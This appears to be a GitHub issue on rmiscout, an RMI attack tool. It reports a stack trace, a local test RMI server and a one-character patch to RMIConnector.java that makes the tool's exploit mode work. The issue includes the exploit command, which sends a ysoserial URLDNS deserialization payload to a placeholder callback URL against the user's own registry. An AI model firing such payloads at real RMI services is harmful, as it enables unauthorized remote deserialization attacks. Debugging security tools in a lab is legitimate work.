rmiscout
rmiscout copied to clipboard
Is RMIConnector process logic get mistake?
enviroment: jdk8u202
running command: exploit -s "void hello(com.PersonDTO personDTO)" -p ysoserial.payloads.URLDNS -c "http://xxx.xxx.xxx" -n myRmiService 127.0.0.1 1099
And I get a error:
java.lang.IllegalArgumentException: Can not set java.rmi.server.RemoteRef field java.rmi.server.RemoteObject.ref to com.sun.proxy.$Proxy0
at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
at sun.reflect.UnsafeFieldAccessorImpl.ensureObj(UnsafeFieldAccessorImpl.java:58)
at sun.reflect.UnsafeObjectFieldAccessorImpl.get(UnsafeObjectFieldAccessorImpl.java:36)
at java.lang.reflect.Field.get(Field.java:393)
at com.bishopfox.rmiscout.RMIConnector.execute(RMIConnector.java:363)
at com.bishopfox.rmiscout.RMIConnector.exploit(RMIConnector.java:270)
at com.bishopfox.rmiscout.RMIScout.main(RMIScout.java:325)
My RMI Server code is the following, very simple
public class Main {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
MyRmiService myRmiService = new MyRmiServiceImpl();
registry.bind("myRmiService", myRmiService);
}
}
I find out the following code when I debug the error: RMIConnector.java
Remote stub = pair.getValue();
......
// Bypass internal call flow for custom params
RemoteRef ref = null;
if (interfaceName.endsWith("_Stub_Interface")) {
isActivationServer = true;
Field f = RemoteObject.class.getDeclaredField("ref");
f.setAccessible(true);
ref = (RemoteRef) f.get(stub);
} else {
Field f = Proxy.class.getDeclaredField("h");
f.setAccessible(true);
ref = ((RemoteObjectInvocationHandler) f.get(stub)).getRef();
}
rmiscout always get into the true block. But stub is Proxy with implement Remote type, It CAN NOT get a ref Field.That cause the error.
I think the false block is the better to handle stub.So I change the code in RMIConnector.java
//add a !
if (!interfaceName.endsWith("_Stub_Interface")) {
isActivationServer = true;
Field f = RemoteObject.class.getDeclaredField("ref");
f.setAccessible(true);
ref = (RemoteRef) f.get(stub);
} else {
Field f = Proxy.class.getDeclaredField("h");
f.setAccessible(true);
ref = ((RemoteObjectInvocationHandler) f.get(stub)).getRef();
}
Rerun rmiscout, It works! The RMI Server is attacked successful.